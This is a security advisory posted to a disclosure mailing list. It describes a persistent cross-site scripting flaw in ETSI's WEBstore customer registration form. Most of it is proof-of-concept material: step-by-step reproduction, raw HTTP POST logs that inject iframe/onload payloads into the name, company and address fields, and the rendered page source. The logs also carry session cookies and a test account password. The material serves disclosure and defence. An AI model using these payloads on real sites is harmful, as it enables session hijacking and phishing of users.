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Subject: [FD] ETSI WEBstore 2023 - Persistent Cross Site Scripting Web Vulnerability
From: "info () vulnerability-lab ! com" <info () vulnerability-lab ! com>
Date: 2023-07-26 10:25:45
Message-ID: 23ab257f-4577-b0fc-9903-04b4883086d6 () vulnerability-lab ! com
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From: "info@vulnerability-lab.com" <info@vulnerability-lab.com>
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Subject: ETSI WEBstore 2023 - Persistent Cross Site Scripting Web
Vulnerability
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Document Title:
===============
ETSI WEBstore 2023 - Persistent Cross Site Scripting Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2327
Release Date:
=============
2023-07-26
Vulnerability Laboratory ID (VL-ID):
====================================
2327
Common Vulnerability Scoring System:
====================================
4.6
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent web vulnerability in \
the ETSI WebStore web-application.
Affected Product(s):
====================
European Telecommunications Standards Institute (ETSI)
Product: WEBstore 2023 - User Management (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2023-07-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (User Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official ETSI \
Webstore 2023 web-application. The vulnerability allows remote attackers to inject own \
malicious script codes with persistent attack vector to compromise browser to web-application \
requests from the application-side.
The vulnerability is located in the all input fields of the NewOrModifyCustomer.asp \
registration / modify formular. Remote attackers are able to inject own malicious script code \
with persistent attack vector by an inject in the wrong sanitized input fields. The injection \
point is the registration or modify formular of the webstore. The execution points are located \
in the index, listarticle, myprofiles and user backend listing of the webstore web-appliation \
service.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing \
attacks, persistent external redirects to malicious source and persistent manipulation of \
affected application modules.
Request Methode:
[+] POST
Vulnerable Inputs:
[+] first name
[+] last name
[+] company name
[+] address
Affected Modules:
[+] MyProfile
[+] ListArticle
[+] ShowCustomer
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low \
privileged user account and low user interaction. For security demonstration or to reproduce \
the persistent cross site web vulnerability follow the provided information and steps below to \
continue.
Manual steps to reproduce the vulnerability ...
1. Register an account for the etsi webstore using the registration formular
2. Inject script code payloads to the firstname, lastname, companyname and address input fields
3. Save the account by submit via post method request
4. Confirm the email and logon to the account
Note: After the login the execution takes place in the header were the user data is show as \
well as in separated websites were adress data is displayed. On preview of the customer in the \
backend an execution of the malicious payload takes as well place. 5. Successful reproduce of \
the persistent web vulnerability!
--- PoC Session Logs (POST) [Inject & Execute] ---
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 906
Origin:https://webstore.etsi.org
Connection: keep-alive
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; \
_ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag2&Company=A"><iframe \
src=https://shorturl.at/uFGNV \
onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe \
src=https://shorturl.at/uFGNV \
onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe \
src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe \
src=https://shorturl.&PostalCode=51221&Address2=E"><iframe \
src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV \
onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe \
src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit
-
POST: HTTP/2.0 302 Found
cache-control: private
content-type: text/html
location: Listarticle.asp?list=2
server: Microsoft-IIS/10.0
x-frame-options: SAMEORIGIN
content-length: 143
-
https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Connection: keep-alive
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; \
_ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-
POST: HTTP/2.0 200 OK
cache-control: private
content-type: text/html
content-encoding: gzip
vary: Accept-Encoding
server: Microsoft-IIS/10.0
set-cookie: list=2; path=/ecommerce
x-frame-options: SAMEORIGIN
-
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 906
Origin:https://webstore.etsi.org
Connection: keep-alive
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; \
_ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag3&Company=A"><iframe \
src=https://shorturl.at/uFGNV \
onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe \
src=https://shorturl.at/uFGNV \
onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe \
src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe \
src=https://shorturl.&PostalCode=51221&Address2=E"><iframe \
src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV \
onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe \
src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit
-
POST: HTTP/2.0 302 Found
cache-control: private
content-type: text/html
location: Listarticle.asp?list=2
server: Microsoft-IIS/10.0
x-frame-options: SAMEORIGIN
content-length: 143
-
https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Connection: keep-alive
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; \
_ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-
POST: HTTP/2.0 200 OK
cache-control: private
content-type: text/html
content-encoding: gzip
vary: Accept-Encoding
server: Microsoft-IIS/10.0
set-cookie: list=2; path=/ecommerce
x-frame-options: SAMEORIGIN
Vulnerable Source: Profile Header
<div id="bloclogin">
<div id="identify">
<b> B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" \
onload="alert('TEA1-2-3-4')"></iframe> C[MALICIOUS PAYLOAD EXECUTION]"><iframe \
src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe></b><br> A[MALICIOUS \
PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" \
onload="alert('TEA1-2-3-4')"></iframe> </div>
<input type="button" onclick="window.location.href = '/ecommerce/ChangeExistingCustomer.asp'" \
value="My profile" id="inputheaderleft"> <input type="button" onclick="logout()" value="Logout" \
id="inputheaderright"> </div>
Vulnerable Source: MyProfile
<tr>
<td class="formlabel">
<label for="Company">Company name</label>
</td>
<td class="forminputleft">
<input tabindex="1" id="Company" class="inputform" name="Company" placeholder="Company name" \
value="A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" \
onload="alert('TEA1-2-3-4')"></iframe>"/> </td>
<td class="formlabel">
Client Code
</td>
<td>
<input type="hidden" name="ClientCode" value="">
<input type="hidden" name="ClientCodeCSA3" value="">
<input type="hidden" name="ClientCodeCSA3" value="">
</td>
</tr>
<tr>
<td colspan="2">
</td>
<td class="formlabel">
<label for="Fname">First name <font color="red">*</font></label>
</td>
<td class="forminputright">
<input id="Fname" tabindex="3" class="inputform" name="Fname" placeholder="First name" \
value="B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" \
onload="alert('TEA1-2-3-4')"></iframe>"> </td>
</tr>
<tr>
<td class="formlabellong">
...
</td>
<td class="formlabel">
<label for="Lname">Last name <font color="red">*</font></label>
</td>
<td>
<input id="Lname" tabindex="6" class="inputform" placeholder="Last name" name="Lname" \
value="C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" \
onload="alert('TEA1-2-3-4')"></iframe>"> </td>
</tr>
References:
https://webstore.etsi.org/ecommerce/
https://webstore.etsi.org/ecommerce/Listarticle.asp
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp
https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Security Risk:
==============
The security risk of the persistent vulnerability in the webstore web-application of etsi is \
estimated as medium.
Credits & Authors:
==================
L. Guenther -https://www.vulnerability-lab.com/show.php?user=L.+Guenther
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
Vulnerability Lab disclaims all warranties, either expressed or implied, including the \
warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its \
suppliers are not liable in any case of damage, including direct, indirect, incidental, \
consequential loss of business profits or special damages, even if Vulnerability-Lab or its \
suppliers have been advised of the possibility of such damages. Some states do not allow the \
exclusion or limitation of liability for consequential or incidental damages so the foregoing \
limitation may not apply. We do not approve or encourage anybody to break any licenses, \
policies, deface websites, hack into databases or trade with stolen data.
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;https://www.vulnerability-db.com
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Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]â„¢
--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
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